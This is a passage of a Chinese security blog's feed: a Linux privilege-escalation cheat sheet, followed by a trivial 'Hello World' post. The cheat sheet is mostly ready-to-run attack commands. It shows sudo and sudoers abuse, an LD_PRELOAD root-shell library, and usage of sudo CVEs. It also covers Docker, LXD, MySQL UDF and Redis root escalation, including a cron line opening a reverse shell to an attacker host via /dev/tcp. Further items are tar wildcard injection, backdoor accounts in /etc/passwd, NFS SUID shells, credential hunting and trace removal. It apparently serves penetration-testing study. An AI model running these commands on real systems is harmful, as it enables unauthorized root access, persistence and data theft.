<span class="nb">sudo tee</span> /etc/sudoers <span class="o">&lt;&lt;&lt;</span> <span class="s2">"attacker ALL=(ALL) NOPASSWD: ALL"</span>   <span class="c"># sudo tee 追加 sudoers</span>
<span class="nb">sudo </span>nmap <span class="nt">--interactive</span>          <span class="c"># 老版本</span>
<span class="nb">sudo </span>apt-get changelog           <span class="c"># !/bin/bash（Debian 系）</span>
<span class="nb">sudo </span>scp <span class="nt">-S</span> /bin/bash x <span class="s1">'x:;'</span>    <span class="c"># -S 指定任意程序并保留提权</span>
</code></pre></div></div>

<h3 id="53-有密码">5.3 有密码</h3>

<p>若已知当前用户密码且其在 sudoers 中拥有完整权限：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-i</span>        <span class="c"># 直接切换 root</span>
<span class="nb">sudo </span>su
<span class="nb">sudo </span>bash
</code></pre></div></div>

<h3 id="54-利用-ld_preload-环境变量env_keep">5.4 利用 LD_PRELOAD 环境变量（env_keep）</h3>

<p>若 <code class="language-plaintext highlighter-rouge">sudo -l</code> 输出包含 <code class="language-plaintext highlighter-rouge">Defaults env_keep += LD_PRELOAD</code>（或 <code class="language-plaintext highlighter-rouge">env_keep</code> 保留了 <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code>），则可通过预加载共享库劫持任意被 sudo 白名单允许的程序：</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// shell.c</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span><span class="kt">void</span> <span class="nf">_init</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">unsetenv</span><span class="p">(</span><span class="s">"LD_PRELOAD"</span><span class="p">);</span>
    <span class="n">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-fPIC</span> <span class="nt">-shared</span> <span class="nt">-nostartfiles</span> <span class="nt">-o</span> /tmp/shell.so shell.c
<span class="nb">sudo </span><span class="nv">LD_PRELOAD</span><span class="o">=</span>/tmp/shell.so &lt;任意sudo白名单命令&gt;    <span class="c"># 触发 _init 弹 shell</span>
</code></pre></div></div>

<h3 id="55-sudo-配置缺陷cve-2019-14287">5.5 sudo 配置缺陷（CVE-2019-14287）</h3>

<p>当 <code class="language-plaintext highlighter-rouge">/etc/sudoers</code> 配置为 <code class="language-plaintext highlighter-rouge">ALL,!root</code>（允许以除 root 外任意用户执行）时：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-u</span><span class="c">#-1 id        # sudo &lt; 1.8.28 将 -1 解析为 0，实际以 root 执行</span>
<span class="nb">sudo</span> <span class="nt">-u</span><span class="c">#4294967295 id</span>
</code></pre></div></div>

<h3 id="56-linux-sudo-权限提升漏洞cve-2021-3156baron-sammitbaron-samedit">5.6 Linux sudo 权限提升漏洞（CVE-2021-3156，Baron Sammit/Baron Samedit）</h3>

<ul>
  <li><strong>漏洞原理</strong>：sudo 使用 <code class="language-plaintext highlighter-rouge">-s</code> 或 <code class="language-plaintext highlighter-rouge">-i</code> 在 shell 模式下运行命令时，会用反斜杠转义特殊字符；但当使用 <code class="language-plaintext highlighter-rouge">-s</code>/<code class="language-plaintext highlighter-rouge">-i</code> 运行 <code class="language-plaintext highlighter-rouge">sudoedit</code> 时并不会执行转义，命令行中未转义的反斜杠导致<strong>堆缓冲区溢出</strong>。只要系统中存在 sudoers 文件（通常是 <code class="language-plaintext highlighter-rouge">/etc/sudoers</code>），<strong>任何本地普通用户</strong>（无需在 sudoers 中注册）即可利用获得 root。</li>
  <li><strong>影响范围</strong>：sudo 1.8.2 ~ 1.8.31p2、1.9.0 ~ 1.9.5p1。</li>
  <li><strong>快速检测</strong>：</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudoedit <span class="nt">-s</span> <span class="s1">'\'</span> <span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'print("A"*100000)'</span><span class="si">)</span>
<span class="c"># 存在漏洞：内存错误/段错误（memory corruption）</span>
<span class="c"># 已修复：提示正常 usage 报错</span>
</code></pre></div></div>

<ul>
  <li><strong>PoC</strong>：https://github.com/worawit/CVE-2021-3156 、https://github.com/blasty/CVE-2021-3156</li>
</ul>

<h3 id="57-sudoedit-任意文件写入cve-2023-22809">5.7 sudoedit 任意文件写入（CVE-2023-22809）</h3>

<ul>
  <li><strong>影响范围</strong>：sudo 1.8.0 ~ 1.9.12p1。</li>
  <li><strong>原理</strong>：sudoedit 对编辑器参数中的 <code class="language-plaintext highlighter-rouge">--</code> 处理不当，允许通过环境变量绕过文件名过滤，向任意文件写入，常用来写 <code class="language-plaintext highlighter-rouge">/etc/sudoers</code>：</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">EDITOR</span><span class="o">=</span><span class="s2">"vi -- /etc/sudoers"</span>
sudoedit /etc/sudoers        <span class="c"># 需要 sudoers 里有 sudoedit 条目</span>
<span class="c"># 编辑器中追加：attacker ALL=(ALL) NOPASSWD: ALL</span>
</code></pre></div></div>

<hr />

<h2 id="六第三方服务提权">六、第三方服务提权</h2>

<p><img src="/images/6.png" alt="6" /></p>

<p>当某些第三方服务<strong>以 root 身份运行</strong>且可被本地低权限用户访问时，借它执行的操作即为 root 权限。枚举入口：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netstat <span class="nt">-antup</span>                <span class="c"># 所有监听端口（重点看 127.0.0.1 的服务）</span>
ss <span class="nt">-antp</span>
ps aux | <span class="nb">grep </span>root            <span class="c"># root 运行的服务</span>
</code></pre></div></div>

<h3 id="61-docker-组提权">6.1 Docker 组提权</h3>

<p>docker 守护进程默认允许 root 用户和 <code class="language-plaintext highlighter-rouge">docker</code> 组用户通过 <code class="language-plaintext highlighter-rouge">/var/run/docker.sock</code> 完全控制 Docker——这实质上等价于免密 root。docker 组用户可通过挂载宿主机根目录逃逸到宿主机文件系统：</p>

<p><strong>方式一：公开镜像一键提权</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-v</span> /:/hostOS <span class="nt">-i</span> <span class="nt">-t</span> chrisfosterelli/rootplease
<span class="c"># -v /:/hostOS 将宿主机根目录挂载进容器</span>
<span class="c"># 镜像启动脚本 exploit.sh 会 chroot 到 /hostOS 并获取宿主机 root 权限</span>
</code></pre></div></div>

<p><strong>方式二：本地镜像手动版（目标无法出网时更稳）</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-v</span> /:/mnt <span class="nt">--rm</span> <span class="nt">-it</span> alpine <span class="nb">chroot</span> /mnt sh
<span class="c"># 若已有本地镜像（如 busybox/centos），同理 -v /:/mnt 后 chroot /mnt</span>
</code></pre></div></div>

<p><strong>方式三：直接操作 socket（无 docker 命令时）</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 若 docker.sock 对当前用户可读，可用 curl 调 Docker API</span>
curl <span class="nt">-s</span> <span class="nt">--unix-socket</span> /var/run/docker.sock http://localhost/containers/json
</code></pre></div></div>

<h3 id="62-mysql-udf-提权">6.2 MySQL UDF 提权</h3>

<p><strong>前提</strong>：</p>

<ul>
  <li>MySQL 以 <strong>root</strong> 身份运行；</li>
  <li>已拿到 MySQL 可写文件的账号（通常需 root 账号或 FILE 权限）；</li>
  <li><code class="language-plaintext highlighter-rouge">secure_file_priv</code> 为<strong>空</strong>（为空才允许导出到任意路径），检查：</li>
</ul>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="nv">"secure_file_priv"</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>UDF 函数说明</strong>（sqlmap 自带 <code class="language-plaintext highlighter-rouge">lib_mysqludf_sys</code>）：</p>

<table>
  <thead>
    <tr>
      <th>函数</th>
      <th>作用</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sys_eval</code></td>
      <td>执行任意命令并返回输出</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sys_exec</code></td>
      <td>执行任意命令并返回退出码</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sys_get</code></td>
      <td>获取环境变量</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sys_set</code></td>
      <td>创建/修改环境变量</td>
    </tr>
  </tbody>
</table>

<p><strong>获取与解码 UDF 文件</strong>：sqlmap 自带 UDF 文件（区分系统/位数），为防止误杀做了异或编码，使用前需用 <code class="language-plaintext highlighter-rouge">cloak.py</code> 解码：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Windows 版目录示例</span>
<span class="c"># sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_</span>
python sqlmap<span class="se">\e</span>xtra<span class="se">\c</span>loak<span class="se">\c</span>loak.py <span class="nt">-d</span> <span class="nt">-i</span> lib_mysqludf_sys.dll_ <span class="nt">-o</span> lib_mysqludf_sys.dll
<span class="c"># Linux 版在 sqlmap/udf/mysql/linux/ 下，为 .so 文件</span>
</code></pre></div></div>

<p><strong>提权步骤（Linux）</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">@@</span><span class="n">plugin_dir</span><span class="p">;</span>       <span class="c1">-- 查看插件目录，如 /usr/lib/mysql/plugin/</span>
<span class="k">SELECT</span> <span class="o">@@</span><span class="n">basedir</span><span class="p">;</span>          <span class="c1">-- MySQL 安装目录</span>

<span class="c1">-- 将解码后的 .so 转为十六进制后写出（0x后跟十六进制内容）</span>
<span class="k">SELECT</span> <span class="mi">0</span><span class="n">x7f454c46</span><span class="p">...</span> <span class="k">INTO</span> <span class="n">dumpfile</span> <span class="s1">'/usr/lib/mysql/plugin/udf.so'</span><span class="p">;</span>
<span class="c1">-- 若 plugin 目录不存在，需先想办法创建目录</span>

<span class="k">CREATE</span> <span class="k">FUNCTION</span> <span class="n">sys_eval</span> <span class="k">RETURNS</span> <span class="n">STRING</span> <span class="n">SONAME</span> <span class="s1">'udf.so'</span><span class="p">;</span>

<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="n">func</span> <span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'sys_eval'</span><span class="p">;</span>   <span class="c1">-- 确认创建成功</span>
<span class="k">SELECT</span> <span class="n">sys_eval</span><span class="p">(</span><span class="s1">'id'</span><span class="p">);</span>                              <span class="c1">-- 执行系统命令（root 权限）</span>
</code></pre></div></div>

<blockquote>
  <p>版本差异补充（Windows 环境）：MySQL &lt; 5.0 导出路径随意；5.0 ≤ 版本 &lt; 5.1 需导出至系统目录；≥ 5.1 必须放到 <code class="language-plaintext highlighter-rouge">lib\plugin</code> 目录，目录不存在时可用 NTFS ADS（<code class="language-plaintext highlighter-rouge">::$INDEX_ALLOCATION</code>）创建目录。</p>
</blockquote>

<p><strong>痕迹清除</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">DROP</span> <span class="k">FUNCTION</span> <span class="n">sys_eval</span><span class="p">;</span>
<span class="k">DELETE</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="n">func</span> <span class="k">WHERE</span> <span class="n">name</span><span class="o">=</span><span class="s1">'sys_eval'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="63-redis-未授权提权">6.3 Redis 未授权提权</h3>

<p>Redis 默认绑定 <code class="language-plaintext highlighter-rouge">0.0.0.0</code>/<code class="language-plaintext highlighter-rouge">6379</code> 且<strong>无认证</strong>；若以 root 身份运行，攻击者可利用 Redis 直接写入 SSH 公钥或计划任务。</p>

<p><strong>方式一：写 SSH 公钥（最常用）</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>redis-cli <span class="nt">-h</span> &lt;target&gt;
<span class="o">&gt;</span> <span class="nb">set </span>pwn <span class="s2">"</span><span class="se">\n\n</span><span class="s2">ssh-rsa AAAA...(你的公钥)...</span><span class="se">\n\n</span><span class="s2">"</span>
<span class="o">&gt;</span> config <span class="nb">set dir</span> /root/.ssh
<span class="o">&gt;</span> config <span class="nb">set </span>dbfilename authorized_keys
<span class="o">&gt;</span> save
<span class="c"># 随后 ssh -i id_rsa root@target</span>
</code></pre></div></div>

<p><strong>方式二：写计划任务（CentOS/RHEL，/etc/cron.d 或 crontab 路径）</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="nb">set </span>cron <span class="s2">"</span><span class="se">\n\n</span><span class="s2">* * * * * /bin/bash -c 'bash -i &gt;&amp; /dev/tcp/&lt;attacker&gt;/4444 0&gt;&amp;1'</span><span class="se">\n\n</span><span class="s2">"</span>
<span class="o">&gt;</span> config <span class="nb">set dir</span> /var/spool/cron
<span class="o">&gt;</span> config <span class="nb">set </span>dbfilename root
<span class="o">&gt;</span> save
</code></pre></div></div>

<p><strong>方式三：写 Webshell</strong>（Web 目录下写 db 文件，需 Web 服务可读）。</p>

<p><strong>限制</strong>：RDB 文件头尾有二进制垃圾，写 <code class="language-plaintext highlighter-rouge">authorized_keys</code> 前用 <code class="language-plaintext highlighter-rouge">\n\n</code> 分隔通常可行；Debian 系对 cron 文件格式严格，<code class="language-plaintext highlighter-rouge">/etc/cron.d</code> 方式成功率更高。</p>

<h3 id="64-lxc--lxd-组提权">6.4 LXC / LXD 组提权</h3>

<p><code class="language-plaintext highlighter-rouge">lxd</code> 组成员可构建特权容器并挂载宿主机根目录：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lxd init                          <span class="c"># 初始化（如未初始化）</span>
lxc image import alpine.tar.gz rootfs.squashfs <span class="nt">--alias</span> alpine
lxc init alpine privesc <span class="nt">-c</span> security.privileged<span class="o">=</span><span class="nb">true
</span>lxc config device add privesc host disk <span class="nb">source</span><span class="o">=</span>/ <span class="nv">path</span><span class="o">=</span>/mnt/root <span class="nv">recursive</span><span class="o">=</span><span class="nb">true
</span>lxc start privesc
lxc <span class="nb">exec </span>privesc <span class="nt">--</span> /bin/sh
<span class="nb">chroot</span> /mnt/root                  <span class="c"># 即宿主机根文件系统</span>
</code></pre></div></div>

<p>（alpine 镜像构建：https://github.com/saghul/lxd-alpine-builder）</p>

<hr />

<h2 id="七其他常见提权方式">七、其他常见提权方式</h2>

<p><img src="/images/7.png" alt="7" /></p>

<h3 id="71-计划任务cron">7.1 计划任务（Cron）</h3>

<p><strong>思路</strong>：root 的计划任务若调用了低权限用户可写的脚本/可执行文件，即可被替换执行。</p>

<ol>
  <li><strong>脚本可写</strong>：<code class="language-plaintext highlighter-rouge">ls -l</code> 检查 <code class="language-plaintext highlighter-rouge">/etc/cron.*</code>、<code class="language-plaintext highlighter-rouge">/var/spool/cron/</code>、<code class="language-plaintext highlighter-rouge">/etc/crontab</code> 中引用的脚本；可写则直接改写内容或 <code class="language-plaintext highlighter-rouge">cp</code> 替换。</li>
  <li><strong>PATH 劫持</strong>：脚本中使用相对命令名（如 <code class="language-plaintext highlighter-rouge">tar</code>、<code class="language-plaintext highlighter-rouge">backup.sh</code> 里调用 <code class="language-plaintext highlighter-rouge">curl</code>）且 PATH 可被影响时，在 <code class="language-plaintext highlighter-rouge">/tmp</code> 放同名恶意文件并劫持 PATH。</li>
  <li><strong>通配符注入</strong>（经典 tar 示例）：</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># root 定时任务：tar czf /backup/site.tar.gz -C /var/www .</span>
<span class="nb">cd</span> /var/www
<span class="nb">echo</span> <span class="s2">"chmod u+s /bin/bash"</span> <span class="o">&gt;</span> exploit.sh
<span class="nb">echo</span> <span class="s2">""</span> <span class="o">&gt;</span> <span class="s2">"--checkpoint-action=exec=sh exploit.sh"</span>
<span class="nb">echo</span> <span class="s2">""</span> <span class="o">&gt;</span> <span class="s2">"--checkpoint=1"</span>
<span class="c"># 下次 tar 触发时参数注入，bash 变为 SUID</span>
</code></pre></div></div>

<ol>
  <li><strong>看不到 root crontab 时</strong>：用 <code class="language-plaintext highlighter-rouge">pspy</code> 实时监控进程，捕获周期性 root 命令：</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./pspy64 <span class="nt">-pf</span> <span class="nt">-i</span> 1000
</code></pre></div></div>

<h3 id="72-linux-capabilities">7.2 Linux Capabilities</h3>

<p>Capabilities 把 root 超级权限拆分为细粒度能力；文件带特定 capability 时同样可提权：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getcap <span class="nt">-r</span> / 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'cap_setuid|cap_setgid|cap_sys_ptrace|cap_dac_read_search|cap_sys_admin|cap_net_admin'</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 带 cap_setuid 的 python</span>
python3 <span class="nt">-c</span> <span class="s1">'import os; os.setuid(0); os.system("/bin/bash")'</span>

<span class="c"># 带 cap_dac_read_search 的 tar，可直接读取任意文件</span>
<span class="nb">tar </span>cf shadow.tar /etc/shadow
</code></pre></div></div>

<h3 id="73-可写关键文件">7.3 可写关键文件</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1) /etc/passwd 可写 —— 直接追加 UID=0 账户</span>
openssl passwd <span class="nt">-1</span> <span class="nt">-salt</span> evil 123456       <span class="c"># 生成密码哈希</span>
<span class="nb">echo</span> <span class="s1">'evil:$1$evil$...::0:0::/root:/bin/bash'</span> <span class="o">&gt;&gt;</span> /etc/passwd
su evil    <span class="c"># 密码 123456</span>

<span class="c"># 2) /etc/sudoers 可写</span>
<span class="nb">echo</span> <span class="s1">'attacker ALL=(ALL) NOPASSWD: ALL'</span> <span class="o">&gt;&gt;</span> /etc/sudoers

<span class="c"># 3) root 的 authorized_keys 可写 —— 直接种 SSH 公钥</span>
<span class="nb">cat </span>id_rsa.pub <span class="o">&gt;&gt;</span> /root/.ssh/authorized_keys
</code></pre></div></div>

<h3 id="74-nfs-no_root_squash">7.4 NFS no_root_squash</h3>

<p>若 NFS 导出配置了 <code class="language-plaintext highlighter-rouge">no_root_squash</code>，客户端的 root 访问共享目录时保留 root 权限：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>showmount <span class="nt">-e</span> &lt;target&gt;                      <span class="c"># 查看导出目录</span>
mount <span class="nt">-t</span> nfs &lt;target&gt;:/shared /tmp/mnt
<span class="nb">cd</span> /tmp/mnt <span class="o">&amp;&amp;</span> <span class="nb">cp</span> /bin/bash ./shell <span class="o">&amp;&amp;</span> <span class="nb">chmod </span>u+s shell   <span class="c"># 制作 SUID shell</span>
<span class="c"># 在目标机上执行 /shared/shell -p</span>
</code></pre></div></div>

<h3 id="75-ssh-相关">7.5 SSH 相关</h3>

<ul>
  <li>读取其他用户的 <code class="language-plaintext highlighter-rouge">~/.ssh/id_rsa</code> 私钥，直接 SSH 登录；</li>
  <li><code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> 可写 → 种公钥；</li>
  <li>检查 <code class="language-plaintext highlighter-rouge">ssh-agent</code> 转发、堡垒机场景下复用已认证的 socket；</li>
  <li>密码复用：运维常在多处使用相同密码，拿到的口令尝试 <code class="language-plaintext highlighter-rouge">su</code>、<code class="language-plaintext highlighter-rouge">sudo</code>、SSH。</li>
</ul>

<h3 id="76-历史与配置文件泄露凭证">7.6 历史与配置文件泄露凭证</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> ~/.bash_history | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'pass|sudo|su|mysql|ssh'</span>
find / <span class="nt">-name</span> <span class="s2">"*.conf"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"*.ini"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">".env"</span> 2&gt;/dev/null
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"password"</span> /var/www 2&gt;/dev/null
</code></pre></div></div>

<hr />

<h2 id="八提权工具汇总">八、提权工具汇总</h2>

<p><img src="/images/8.png" alt="8" /></p>

<table>
  <thead>
    <tr>
      <th>阶段</th>
      <th>工具</th>
      <th>用途</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>信息收集</td>
      <td>LinPEAS / LinEnum</td>
      <td>一键枚举可提权点</td>
    </tr>
    <tr>
      <td>信息收集</td>
      <td>pspy</td>
      <td>监控隐藏进程/定时任务</td>
    </tr>
    <tr>
      <td>信息收集</td>
      <td>BeRoot / unix-privesc-check</td>
      <td>枚举 + 自动验证部分路径</td>
    </tr>
    <tr>
      <td>信息收集</td>
      <td>Metasploit <code class="language-plaintext highlighter-rouge">linux/local/...</code> / <code class="language-plaintext highlighter-rouge">exploit_suggester</code></td>
      <td>后渗透阶段自动化建议</td>
    </tr>
    <tr>
      <td>漏洞查询</td>
      <td>searchsploit / Exploit-DB</td>
      <td>内核与服务 EXP</td>
    </tr>
    <tr>
      <td>二进制利用</td>
      <td>GTFOBins</td>
      <td>SUID / sudo 二进制利用手册</td>
    </tr>
    <tr>
      <td>专项 EXP</td>
      <td>PwnKit、Baron Samedit PoC、DirtyPipe EXP</td>
      <td>单个 CVE 直接利用</td>
    </tr>
  </tbody>
</table>]]></content><author><name>l4k3q</name></author><category term="web" /><category term="penetration" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Hello World</title><link href="https://l4k3q.github.io/posts/hello-world/" rel="alternate" type="text/html" title="Hello World" /><published>2026-08-12T00:00:00+08:00</published><updated>2026-08-12T00:00:00+08:00</updated><id>https://l4k3q.github.io/posts/hello-world</id><content type="html" xml:base="https://l4k3q.github.io/posts/hello-world/"><![CDATA[<p>第一篇文章~</p>

<p>简单介绍一下：这是一个基于 Jekyll + GitHub Pages 的博客，所有文章都使用 Markdown，下面这段代码也不例外：</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;bits/stdc++.h&gt;</span><span class="cp">
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Hello World!"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>你将看到一些技术文章与我的碎碎念。</p>

<p>下一篇见。</p>]]></content><author><name>l4k3q</name></author><category term="misc" /><summary type="html"><![CDATA[第一篇文章~]]></summary></entry></feed>